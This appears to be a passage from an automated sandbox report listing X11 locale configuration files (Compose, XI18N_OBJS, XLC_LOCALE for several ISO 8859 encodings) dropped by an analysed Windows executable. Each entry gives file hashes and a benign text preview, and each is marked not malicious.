Preview:	# XLocale Database Sample for iso8859-14..# ..# .# .XLC_FONTSET category.# .XLC_FONTSET.# .fs0 class .fs0.{..charset.{...name..ISO8859-1:GL..}..font.{...primary..ISO8859-14:GL...substitute.ISO8859-1:GL...vertical_rotate.all..}.}.# .fs1 class .fs1.{..charset.{...name..ISO8859-14:GR..}..font.{...primary..ISO8859-14:GR..}.}.END XLC_FONTSET..# .# .XLC_XLOCALE category.# .XLC_XLOCALE..encoding_name..ISO8859-14.mb_cur_max..1.state_depend_encoding.False..wc_encoding_mask.\x30000000.wc_shift_bits..7.......use_stdc_env..True.force_convert_to_mb.True...# .cs0 class.cs0.{..side..GL:Default..length..1..wc_encoding.\x00000000..ct_encoding.ISO8859-14:GL; ISO8859-1:GL.}...# .cs1 class.cs1.{..side..GR:Default..length..1...wc_encoding.\x30000000.....ct_encoding.ISO8859-14:GR.}..END XLC_XLOCALE.

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\locale\iso8859-15\Compose

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	20625
Entropy (8bit):	4.993531173273281
Encrypted:	false
SSDEEP:	384:R+U+u+ltnTEozHbJxmscE8yoFhkTMufJ6IwOt5VkDR/i9L7zz7T/P/RpLiN:oL1ltTEsHbJxmvbkTMGQN
MD5:	2099492BAD4F1E0CEE4ADF0E7F49B6C1
SHA1:	B1ADBB0AAD1FCC256373E0D548403F671ACD1C9A
SHA-256:	FC11F9E7D3CB7545A7F0A4E78874FC00818425F36E413D8AE25D46E1A1ED2D5E
SHA-512:	077A9FC739BF3CE5980704C4F4282CCE311DD41CE57381ABC4F97B43F82745B87643281BDDADBE87B5FDEEBBB66C95775D34E37A4A0FCBA56C81C1E594D111D2
Malicious:	false
Preview:	#.# ISO 8859-15 (Latin1) Compose Sequence.#.#.# Sequence Definition.#.# <Multi_key> Means <Compose>.# Special Character.<Multi_key> <plus> <plus>..: "#".numbersign.<Multi_key> <apostrophe> <space>.: "'".apostrophe.<Multi_key> <space> <apostrophe>.: "'".apostrophe.<Multi_key> <A> <T>...: "@".at.<Multi_key> <parenleft> <parenleft>.: "[".bracketleft.<Multi_key> <slash> <slash>..: "\\".backslash.<Multi_key> <slash> <less>..: "\\".backslash.<Multi_key> <less> <slash>..: "\\".backslash.<Multi_key> <parenright> <parenright>.: "]".bracketright.<Multi_key> <asciicircum> <space>.: "^".asciicircum.<Multi_key> <space> <asciicircum>.: "^".asciicircum.<Multi_key> <greater> <space>..: "^".asciicircum.<Multi_key> <space> <greater>..: "^".asciicircum.<Multi_key> <grave> <space>..: "`".grave.<Multi_key> <space> <grave>..: "`".grave.<Multi_key> <parenleft> <minus>..: "{".braceleft.<Multi_key> <minus> <parenleft>..: "{".braceleft.<Multi_key> <slash> <asciicircum>.: "\|".bar.<Multi_key> <asciicircum> <slash

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\locale\iso8859-15\XI18N_OBJS

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	342
Entropy (8bit):	5.224067106490704
Encrypted:	false
SSDEEP:	6:SCNqCsnuJiEGMF46c+sKTLbugHXoWiHKumXoWis9zwhwFbTwvIoJ1kWJb:/NqvnSIMa5oeCXoXKfXoc9RwvIo8WJb
MD5:	45FF947FCB4C1BFCCE1717C8F51186A7
SHA1:	96491239292C83C15752D13A30068CF1EEF94E6C
SHA-256:	66989C577117C61F02495D621781CF711392314C8EB0707E7E8BD9CB796602A2
SHA-512:	60301A992A22FAE3E36A27873984DDF9B700306637A4940F0DFAED533B88143686BA55307E51CB5FF865DD41768BA538A729337E9900FB8D5A7449473E73D571
Malicious:	false
Preview:	# CATEGORY(XLC\|XIM\|OM).SHARED_LIBRARY_NAME.FUNCTION_NAME.#.#.XI18N objects table for iso8859-15 locale.#.XLC.common/xlcDef._XlcDefaultLoader.# XLC_open.XIM.common/ximcp._XimOpenIM _XimRegisterIMInstantiateCallback _XimUnRegisterIMInstantiateCallback # XIM_open.XIM_register XIM_unregister.XOM.common/xomGeneric ._XomGenericOpenOM.# XOM_open.

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\locale\iso8859-15\XLC_LOCALE

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1073
Entropy (8bit):	5.2892846521178685
Encrypted:	false
SSDEEP:	24:erHmEpdo48tnevWE5m2dnlw5emeQQwqfDJ7/tmzGGm/7F6mk:4zHEw5o/7Q1Nuz
MD5:	D02D42D910F061F425A3E6F00A78361F
SHA1:	81AE561E8C8B3687AE826D4D3EFFF5C5BF5E6B62
SHA-256:	88537BCFCCC14A363046BF1FF9885CBC59E74A5EB3E4D42DB60DD57521522729
SHA-512:	6E1CE79784ABCBEE8F3D1A1B9FB6DF2305FDC535B93976DDB505DD41AB04E6A97E170CA83A3102342BD80CA2EFC330E1D37C92D76D197E76E48B9CE5512D3404
Malicious:	false
Preview:	# XLocale Database Sample for fcd/dis/iso 8859-15..# When Final Committee Draft (FCD) 8859-15 is formalized.# then this file will be renamed iso8859-15..# This file is provided as preliminary support for the Latin-9.# (a.k.a. Latin-0) character set so that Europeans who want.# the Euro currency character can do so..# .# ..# .# .XLC_FONTSET category.# .XLC_FONTSET.# .fs0 class .fs0.{..charset.{...name..ISO8859-1:GL..}..font.{...primary..ISO8859-15:GL...substitute.ISO8859-15:GL...vertical_rotate.all..}.}.# .fs1 class .fs1.{..charset.{...name..ISO8859-15:GR..}..font.{...primary..ISO8859-15:GR..}.}.END XLC_FONTSET..# .# .XLC_XLOCALE category.# .XLC_XLOCALE..encoding_name..ISO8859-15.mb_cur_max..1.state_depend_encoding.False..wc_encoding_mask.\x30000000.wc_shift_bits..7.......use_stdc_env..True.force_convert_to_mb.True...# .cs0 class.cs0.{..side..GL:Default..length..1..wc_encoding.\x00000000..ct_encoding.ISO8859-15:GL; ISO8859-1:GL.}...# .cs1 class.cs1.{..side..GR:Default..length..1..

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\locale\iso8859-1\Compose

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	20458
Entropy (8bit):	4.988527383479362
Encrypted:	false
SSDEEP:	384:V+U+u+ltnTjozHbJxmrVcE8yKFhkBMgfJ6twOt5VK3PDR/y9L7zz7TZ0WN:0L1ltTjsHbJxmrwbkBM7s4N
MD5:	73B50D9A5F91B78DFBDA32EAC5B15597
SHA1:	4BFD86D04E37BC0CF8B280C07FB5AC0804A85F5B
SHA-256:	1AF5494AA0B35E94BC3F9F5765F74F6CC59057985B26957B6442AE419284BD72
SHA-512:	2A53DD2E680584579D0863AAD55CCBED6CB378D481BF7CE0447016A4471FB9C7E47A957409887DCA47B29F1EFD4D0B8E4F281472697E264A7EFFB5F48E9361A3
Malicious:	false
Preview:	#.# ISO 8859-1 (Latin1) Compose Sequence.#.#.#.# Sequence Definition.#.# <Multi_key> Means <Compose>.# Special Character.<Multi_key> <plus> <plus>..: "#".numbersign.<Multi_key> <apostrophe> <space>.: "'".apostrophe.<Multi_key> <space> <apostrophe>.: "'".apostrophe.<Multi_key> <A> <T>...: "@".at.<Multi_key> <parenleft> <parenleft>.: "[".bracketleft.<Multi_key> <slash> <slash>..: "\\".backslash.<Multi_key> <slash> <less>..: "\\".backslash.<Multi_key> <less> <slash>..: "\\".backslash.<Multi_key> <parenright> <parenright>.: "]".bracketright.<Multi_key> <asciicircum> <space>.: "^".asciicircum.<Multi_key> <space> <asciicircum>.: "^".asciicircum.<Multi_key> <greater> <space>..: "^".asciicircum.<Multi_key> <space> <greater>..: "^".asciicircum.<Multi_key> <grave> <space>..: "`".grave.<Multi_key> <space> <grave>..: "`".grave.<Multi_key> <parenleft> <minus>..: "{".braceleft.<Multi_key> <minus> <parenleft>..: "{".braceleft.<Multi_key> <slash> <asciicircum>.: "\|".bar.<Multi_key> <asciicircum> <slas

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\locale\iso8859-1\XI18N_OBJS

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	241
Entropy (8bit):	5.126553840017769
Encrypted:	false
SSDEEP:	6:SCNqCsnuJiEGMFjFsKnR8jLbu1nKwJJ1kWJL:/NqvnSIMhWAOeZeWJL
MD5:	133A7982C222729A109ADEB89267DC2F
SHA1:	D53660E039BC6B12ED8672416CE501351C1791EE
SHA-256:	8DB56149FB92E480D5EF17F2DF12891C5F6AC633BBF760ECB43B5118E92C84E1
SHA-512:	F68667A16016ABA105A46F9B8DAE0FAB9C20358AB289EF786EBD82C15693F8564FE39681998ED52EC51BB8DEFFF010F29B9828839342A166A053870EC990F689
Malicious:	false
Preview:	# CATEGORY(XLC\|XIM\|OM).SHARED_LIBRARY_NAME.FUNCTION_NAME.#.#.XI18N objects table for euro locales.#.XLC.common/xlibi18n._XlcGenericLoader.# XLC_open.XIM.common/ximcp._XimOpenIM.# XIM_open.XOM.common/xomGeneric ._XomGenericOpenOM.# XOM_open..

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\locale\iso8859-1\XLC_LOCALE

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	739
Entropy (8bit):	5.2184109928640305
Encrypted:	false
SSDEEP:	12:ea4GwttckJWtevnbXE2Xi45b5EB5fJMhRYDblcjdRahwqfDJ7/tRVGmvX7F6R9k:eeevLEINICQQQwqfDJ7/tPGm/7F6zk
MD5:	8035E40B1AF8350A4B7DFABCAC5AE333
SHA1:	6FA2E50BCA8C0A6FA38AAAD6473ACCDBF56839D3
SHA-256:	75D46B0D27249B39211726875A21F023EA33403FD8D3C05A40C42F396E4AE5EA
SHA-512:	2C58DF5C74BBA90AA75ADD5151BC5CED51FD570D3D8E0117280BC50B096F9F0DDD5EC16310FC3E7C6CD0426C77BFD58CFBBFA97D5EDB4A479597299B3FB663DF
Malicious:	false
Preview:	# XLocale Database Sample for iso8859-1..# ..# .# .XLC_FONTSET category.# .XLC_FONTSET.# .fs0 class .fs0.{..charset.{...name.ISO8859-1:GL..}..font.{...primary..ISO8859-1:GL...vertical_rotate.all..}.}.# .fs1 class .fs1.{..charset.{...name.ISO8859-1:GR..}..font.{...primary.ISO8859-1:GR..}.}.END XLC_FONTSET..# .# .XLC_XLOCALE category.# .XLC_XLOCALE..encoding_name..ISO8859-1.mb_cur_max..1.state_depend_encoding.False..wc_encoding_mask.\x30000000.wc_shift_bits..7.......use_stdc_env..True.force_convert_to_mb.True...# .cs0 class.cs0.{..side..GL:Default..length..1..wc_encoding.\x00000000..ct_encoding.ISO8859-1:GL.}...# .cs1 class.cs1.{..side..GR:Default..length..1...wc_encoding.\x30000000.....ct_encoding.ISO8859-1:GR.}..END XLC_XLOCALE.

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\locale\iso8859-2\Compose

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	23658
Entropy (8bit):	4.936357483867174
Encrypted:	false
SSDEEP:	384:r+U+u+hHETxNzQOy66mYIDqbPfO3T6klFvHkYZeN:aL1hHETxNzQOyzmYEUN
MD5:	7C3977C008746807B3B6D5C063FA32F7
SHA1:	ECF43E7FD3BC9C8675B3E25FC448116CDE3DF94A
SHA-256:	8D49FFA743818F07048222FAAC0017709DC2E85DE669F8E040654965BA38DBC2
SHA-512:	CF159639DF591A469478AD86E16CD60FE3A44B9D06C6E9BDD9376BAD846E7D0F742FFD6A93822D29DC19510EC70E77AAD48D221E264C00FCC964CB382C6EF248
Malicious:	false
Preview:	#.# ISO 8859-2 (Latin2) Compose Sequence.#.#.# Sequence Definition.#.# <Multi_key> Means <Compose>.# Special Character.<Multi_key> <plus> <plus>..: "#".numbersign.<Multi_key> <apostrophe> <space>.: "'".apostrophe.<Multi_key> <space> <apostrophe>.: "'".apostrophe.<Multi_key> <A> <A>...: "@".at.<Multi_key> <parenleft> <parenleft>.: "[".bracketleft.<Multi_key> <slash> <slash>..: "\\".backslash.<Multi_key> <slash> <less>..: "\\".backslash.<Multi_key> <less> <slash>..: "\\".backslash.<Multi_key> <parenright> <parenright>.: "]".bracketright.<Multi_key> <asciicircum> <space>.: "^".asciicircum.<Multi_key> <space> <asciicircum>.: "^".asciicircum.<Multi_key> <greater> <space>..: "^".asciicircum.<Multi_key> <space> <greater>..: "^".asciicircum.<Multi_key> <grave> <space>..: "`".grave.<Multi_key> <space> <grave>..: "`".grave.<Multi_key> <parenleft> <minus>..: "{".braceleft.<Multi_key> <minus> <parenleft>..: "{".braceleft.<Multi_key> <slash> <asciicircum>.: "\|".bar.<Multi_key> <asciicircum> <slash>

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\locale\iso8859-2\XI18N_OBJS

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	248
Entropy (8bit):	5.127346897263227
Encrypted:	false
SSDEEP:	6:SCNqCsnuJiEGMFjFsKnR8jKushnKwJJ1kWJL:/NqvnSIMhWAOKjFeWJL
MD5:	DF430BA0495815FC0641FA836B4D500D
SHA1:	C77EDC36F505F284455177A0ABF04C7DB4D9FCCF
SHA-256:	A8A0E42AAF0BC6365EC936DA183F3AB58784166F0155F8135265F926FE29A60D
SHA-512:	C9CBBD6FBA0E1195B36B84ECC509B6B84CFBDC288467F08EC4AEC2DCF20BA3AA8E8ED40B743E77169823C6F224E1A2D3B2BC6C1AEB99B580A66CFB75DF375598
Malicious:	false
Preview:	# CATEGORY(XLC\|XIM\|OM).SHARED_LIBRARY_NAME.FUNCTION_NAME.#.#.XI18N objects table for euro locales.#.XLC.common/xlibi18n._XlcGenericLoader.# XLC_open.XIM.common/xiiimp._XimpLocalOpenIM.# XIM_open.XOM.common/xomGeneric ._XomGenericOpenOM.# XOM_open..

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\locale\iso8859-2\XLC_LOCALE

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	782
Entropy (8bit):	5.258398423101713
Encrypted:	false
SSDEEP:	12:eaGwttckJWtevnUXE2N52qXi45Uz2MJMhRY+blcjdRahwqfDJ7/tRscVGmvX7F6d:eJevWEm28NseVQQwqfDJ7/tCGGm/7F6d
MD5:	B5F11A3C4FC93E1D80ABD1E938226393
SHA1:	DD1F9EC1601B0DA10EC15F49AD89EB59DBBAD587
SHA-256:	3C5835E4CCD1B9AC5F7DCC2580641AC813D4A8D966802F717C26E2DFF12B53BF
SHA-512:	A764A803A70024EBA60B4323F5E8614C9ED85CF8995CE4ADE93D63C0D70348D4490C560EBCDA4A38EF314788D6C4CC818CCBC178DFB80AE190856A341C9C2DC6
Malicious:	false
Preview:	# XLocale Database Sample for iso8859-2..# ..# .# .XLC_FONTSET category.# .XLC_FONTSET.# .fs0 class .fs0.{..charset.{...name..ISO8859-1:GL..}..font.{...primary..ISO8859-2:GL...substitute.ISO8859-1:GL...vertical_rotate.all..}.}.# .fs1 class .fs1.{..charset.{...name..ISO8859-2:GR..}..font.{...primary..ISO8859-2:GR..}.}.END XLC_FONTSET..# .# .XLC_XLOCALE category.# .XLC_XLOCALE..encoding_name..ISO8859-2.mb_cur_max..1.state_depend_encoding.False..wc_encoding_mask.\x30000000.wc_shift_bits..7.......use_stdc_env..True.force_convert_to_mb.True...# .cs0 class.cs0.{..side..GL:Default..length..1..wc_encoding.\x00000000..ct_encoding.ISO8859-2:GL; ISO8859-1:GL.}...# .cs1 class.cs1.{..side..GR:Default..length..1...wc_encoding.\x30000000.....ct_encoding.ISO8859-2:GR.}..END XLC_XLOCALE.

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\locale\iso8859-3\Compose

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	22797
Entropy (8bit):	4.878818891076909
Encrypted:	false
SSDEEP:	384:f+U+u+bWnTBQvJxm3LTX/IYU4m6mzOooW8AfyXwOt5VkDR/MzRj771HWODcVzCTt:2L1bsTBWJxm3LTX/IYU4m6maooW8A4bN
MD5:	5DCC1773087712F2A7CC6C4E5E614C4C
SHA1:	AF3FD44BF1111CF3AB7E5C9C7B05429372471C68
SHA-256:	2844E64F02DE5BFBDE68E24026898472903F5B04427D0BDD66A777BE387E776E
SHA-512:	F6FF2C1B0AEB181FF43F09349E12DCD51E50E6D114F4CA56947EE716991AC42B829D188C1988F8D3B3DE7EB6AAC03FAD99BCB167D38A4C78598B2FBED4625998
Malicious:	false
Preview:	#.# ISO 8859-3 (Latin3) Compose Sequence.#.# Sequence Definition.#.#.# <Multi_key> Means <Compose>.# Special Character.<Multi_key> <plus> <plus>..: "#".numbersign.<Multi_key> <apostrophe> <space>.: "'".apostrophe.<Multi_key> <space> <apostrophe>.: "'".apostrophe.<Multi_key> <A> <A>...: "@".at.<Multi_key> <parenleft> <parenleft>.: "[".bracketleft.<Multi_key> <slash> <slash>..: "\\".backslash.<Multi_key> <slash> <less>..: "\\".backslash.<Multi_key> <less> <slash>..: "\\".backslash.<Multi_key> <parenright> <parenright>.: "]".bracketright.<Multi_key> <asciicircum> <space>.: "^".asciicircum.<Multi_key> <space> <asciicircum>.: "^".asciicircum.<Multi_key> <greater> <space>..: "^".asciicircum.<Multi_key> <space> <greater>..: "^".asciicircum.<Multi_key> <grave> <space>..: "`".grave.<Multi_key> <space> <grave>..: "`".grave.<Multi_key> <parenleft> <minus>..: "{".braceleft.<Multi_key> <minus> <parenleft>..: "{".braceleft.<Multi_key> <slash> <asciicircum>.: "\|".bar.<Multi_key> <asciicircum> <slash>

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\locale\iso8859-3\XI18N_OBJS

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	341
Entropy (8bit):	5.222206786293507
Encrypted:	false
SSDEEP:	6:SCNqCsnuJiEGMF4O+sKTLbugHXoWiHKumXoWis9zwhwFbTwvIoJ1kWJb:/NqvnSIMaOToeCXoXKfXoc9RwvIo8WJb
MD5:	838988F2064E281A621405D7FEC77B80
SHA1:	57FE508636839E7BA3907E1F4314307F967B8AC8
SHA-256:	155D1B62F3A7CF781CDFA461323B0EC52B69160413871B8F9A6693C87EE86A67
SHA-512:	0203D3BCF8B6FEE012BB1BC1B6CC65B43ADC686D95CB6351019FE0B772A0CE8073E27E7CC75FF314A84C08EE0093BE3DA05514F550DB82EBD78DAFA61928BDFA
Malicious:	false
Preview:	# CATEGORY(XLC\|XIM\|OM).SHARED_LIBRARY_NAME.FUNCTION_NAME.#.#.XI18N objects table for iso8859-3 locale.#.XLC.common/xlcDef._XlcDefaultLoader.# XLC_open.XIM.common/ximcp._XimOpenIM _XimRegisterIMInstantiateCallback _XimUnRegisterIMInstantiateCallback # XIM_open.XIM_register XIM_unregister.XOM.common/xomGeneric ._XomGenericOpenOM.# XOM_open.

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\locale\iso8859-3\XLC_LOCALE

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	782
Entropy (8bit):	5.249603230571563
Encrypted:	false
SSDEEP:	24:eHsevWEx528NbbyQQwqfDJ7/tqKGGm/7F6q:pw5x5vI1NQcE
MD5:	8AF0DD296367F276C30141F5C7DED8C3
SHA1:	BF2665420B3318A038C2C521EA37889E7AC72783
SHA-256:	8C3116BB608FA1A490AA411275610AC0EBE04AA79726F925DE42E8EC41848589
SHA-512:	13830EF0940757A2DE0C770225B87E70E72CF9D48386C0A4D0067A6D159B942A2B074B7BF9B9064866AFEA05E36F8B25327FF068B0F1006639BAC4A38969D290
Malicious:	false
Preview:	# XLocale Database Sample for iso8859-3..# ..# .# .XLC_FONTSET category.# .XLC_FONTSET.# .fs0 class .fs0.{..charset.{...name..ISO8859-1:GL..}..font.{...primary..ISO8859-3:GL...substitute.ISO8859-1:GL...vertical_rotate.all..}.}.# .fs1 class .fs1.{..charset.{...name..ISO8859-3:GR..}..font.{...primary..ISO8859-3:GR..}.}.END XLC_FONTSET..# .# .XLC_XLOCALE category.# .XLC_XLOCALE..encoding_name..ISO8859-3.mb_cur_max..1.state_depend_encoding.False..wc_encoding_mask.\x30000000.wc_shift_bits..7.......use_stdc_env..True.force_convert_to_mb.True...# .cs0 class.cs0.{..side..GL:Default..length..1..wc_encoding.\x00000000..ct_encoding.ISO8859-3:GL; ISO8859-1:GL.}...# .cs1 class.cs1.{..side..GR:Default..length..1...wc_encoding.\x30000000.....ct_encoding.ISO8859-3:GR.}..END XLC_XLOCALE.

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\locale\iso8859-4\Compose

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16011
Entropy (8bit):	4.982509167630372
Encrypted:	false
SSDEEP:	384:dTUcE8yQmG2QSniwkTSLtuNmd/V/4fLD0biSON:dThmG2QSn3k+LGmd6N
MD5:	723B2DC2A1AA65741D84EAE0F8DBBA45
SHA1:	02E1F05ABAEC9EB241E1638F7826D2AABFC46428
SHA-256:	FE5DEEA670B78D015F39F4580CCF2DED78EE7DC2ED1E4A123C1AA433B739AF12
SHA-512:	6A92DABB92E3BE8C456974A4D0C9F3209813EE92D4E2375E23F1ABC088D952379BCF1E1FFD5A8E915DEBECA0D3DB1DA0112244D8885E67183445055B61E6F9DD
Malicious:	false
Preview:	#.# ISO 8859-4 (Latin4) Compose Sequence.#.# Sequence Definition.#.# <Multi_key> Means <Compose>.# Special Character.# Right-hand side (Accented Alphabet).# These compose sequences are pure supposition on my part..# It would be nice to know what the real cultural conventions.# are for compose sequences..<Multi_key> <A> <comma>...: "\241".Aogonek.<Multi_key> <comma> <A>...: "\241".Aogonek.<Multi_key> <k> <k>...: "\242".kra.<Multi_key> <R> <comma>...: "\243".Rcedilla.<Multi_key> <R> <cedilla>..: "\243".Rcedilla.<Multi_key> <comma> <R>...: "\243".Rcedilla.<Multi_key> <cedilla> <R>..: "\243".Rcedilla.<Multi_key> <x> <o>...: "\244".currency.<Multi_key> <o> <x>...: "\244".currency.<Multi_key> <X> <O>...: "\244".currency.<Multi_key> <O> <X>...: "\244".currency.<Multi_key> <x> <O>...: "\244".currency.<Multi_key> <O> <x>...: "\244".currency.<Multi_key> <X> <o>...: "\244".currency.<Multi_key> <o> <X>...: "\244".currency.<Multi_key> <x> <0>...: "\244".currency.<Multi_key> <0> <x>...: "\244".curre

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\locale\iso8859-4\XI18N_OBJS

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	341
Entropy (8bit):	5.222206786293507
Encrypted:	false
SSDEEP:	6:SCNqCsnuJiEGMF4etsKTLbugHXoWiHKumXoWis9zwhwFbTwvIoJ1kWJb:/NqvnSIManoeCXoXKfXoc9RwvIo8WJb
MD5:	6808F1F0ED0C6E536926293154686931
SHA1:	C8920C58A47AF0E4AB8CE68BEBE4F2BF21B56A36
SHA-256:	6B37571C38A1E90E879C920DB9FD7C3C2309E3F40553A09DB94B62A3F45FFF5F
SHA-512:	47E8B8519750EBDAC9EF32559E7ABF1B66A7B023931319D450A076141E36A9566E1554FA9A3EB0A2997CB7E632AF6D0874D520A1AA7028120D05ACCA0785E854
Malicious:	false
Preview:	# CATEGORY(XLC\|XIM\|OM).SHARED_LIBRARY_NAME.FUNCTION_NAME.#.#.XI18N objects table for iso8859-4 locale.#.XLC.common/xlcDef._XlcDefaultLoader.# XLC_open.XIM.common/ximcp._XimOpenIM _XimRegisterIMInstantiateCallback _XimUnRegisterIMInstantiateCallback # XIM_open.XIM_register XIM_unregister.XOM.common/xomGeneric ._XomGenericOpenOM.# XOM_open.

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\locale\iso8859-4\XLC_LOCALE

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	782
Entropy (8bit):	5.258398423101713
Encrypted:	false
SSDEEP:	12:ea0wttckJWtevnUXE2F2qXi45UZ2yJMhRY4blcjdRahwqfDJ7/tR+cVGmvX7F6Rh:efevWEQ28NSYPQQwqfDJ7/tIGGm/7F6f
MD5:	0D5CEE172F6927B616DC15BE49FB41A8
SHA1:	9D56CB81D5B6D6A63A81F6977F1105D04C6090BE
SHA-256:	0B8EC0D5931A7A654E54A30CEE927D53490D732A570D30C022E02B43361B272E
SHA-512:	72BCFC0AF8EA1313364C85E6A4489D8E32C9BA3A0CCA1B2A080FBBB2AD7984D0ABB772001F1CB84E045049C30689D2D82703678B7B9CFF02B46B6339D410AB04
Malicious:	false
Preview:	# XLocale Database Sample for iso8859-4..# ..# .# .XLC_FONTSET category.# .XLC_FONTSET.# .fs0 class .fs0.{..charset.{...name..ISO8859-1:GL..}..font.{...primary..ISO8859-4:GL...substitute.ISO8859-1:GL...vertical_rotate.all..}.}.# .fs1 class .fs1.{..charset.{...name..ISO8859-4:GR..}..font.{...primary..ISO8859-4:GR..}.}.END XLC_FONTSET..# .# .XLC_XLOCALE category.# .XLC_XLOCALE..encoding_name..ISO8859-4.mb_cur_max..1.state_depend_encoding.False..wc_encoding_mask.\x30000000.wc_shift_bits..7.......use_stdc_env..True.force_convert_to_mb.True...# .cs0 class.cs0.{..side..GL:Default..length..1..wc_encoding.\x00000000..ct_encoding.ISO8859-4:GL; ISO8859-1:GL.}...# .cs1 class.cs1.{..side..GR:Default..length..1...wc_encoding.\x30000000.....ct_encoding.ISO8859-4:GR.}..END XLC_XLOCALE.

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\locale\iso8859-5\Compose

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	308
Entropy (8bit):	4.63812547299472
Encrypted:	false
SSDEEP:	6:LWBaL5kc/az1e6ldoFd/M+6qRNXdkbYqBJW3uc/v:LCEAe6ldo0+62XdUmhn
MD5:	58E8BF3089E2FCCCEA8563CF0B544C73
SHA1:	0F3DF141C49F598AD1CCC2EE542DECF955DFA3A9
SHA-256:	68DEA394471508328B7F25623C2EAA3B9F947CCCCC27761694D02A5DE58411AA
SHA-512:	6A7A10B41D7DE765999D8634A3AA786338E425A83ED8F24CDC4DD4DC8FFDC719E885E68840658BA6CE57426DC106DDBBC49E77A3CA61C85DBCF5A290AD794430
Malicious:	false
Preview:	#.# ISO 8859-5 Compose Sequence.#.# Sequence Definition.#.#.# This file currently has no entries. It appears that a compose file (even.# just an empty one) is required for the appropriate keysyms to work for.# this encoding..#.# <Multi_key> Means <Compose>.# Special Character..# End of Sequence Definition.

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\locale\iso8859-5\XI18N_OBJS

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	248
Entropy (8bit):	5.127346897263227
Encrypted:	false
SSDEEP:	6:SCNqCsnuJiEGMFjFsKnR8jKushnKwJJ1kWJL:/NqvnSIMhWAOKjFeWJL
MD5:	DF430BA0495815FC0641FA836B4D500D
SHA1:	C77EDC36F505F284455177A0ABF04C7DB4D9FCCF
SHA-256:	A8A0E42AAF0BC6365EC936DA183F3AB58784166F0155F8135265F926FE29A60D
SHA-512:	C9CBBD6FBA0E1195B36B84ECC509B6B84CFBDC288467F08EC4AEC2DCF20BA3AA8E8ED40B743E77169823C6F224E1A2D3B2BC6C1AEB99B580A66CFB75DF375598
Malicious:	false
Preview:	# CATEGORY(XLC\|XIM\|OM).SHARED_LIBRARY_NAME.FUNCTION_NAME.#.#.XI18N objects table for euro locales.#.XLC.common/xlibi18n._XlcGenericLoader.# XLC_open.XIM.common/xiiimp._XimpLocalOpenIM.# XIM_open.XOM.common/xomGeneric ._XomGenericOpenOM.# XOM_open..

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\locale\iso8859-5\XLC_LOCALE

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	782
Entropy (8bit):	5.237150209677188
Encrypted:	false
SSDEEP:	24:e/VEevWEBX28N1PBL8QQwqfDJ7/tSoGGm/7F6S/:qEw5Z9E1Nza
MD5:	C22F8C3904BC6CEDE403620F3A1095ED
SHA1:	B0FF1544AAAF54144E8A735027BB78B1EE090B82
SHA-256:	B0E808F2E5D039C2F707A6644BE7B0E4CF5F02B677D30FCE71846328B8A05558
SHA-512:	7487348CF88FE9D125FA3262191524DAA7568C912C495C15DA0C8C06CEDC57DC26A6F5647AE64C8730A6AF21F083385862CF64CE59E9F0DA88B43501696D6035
Malicious:	false
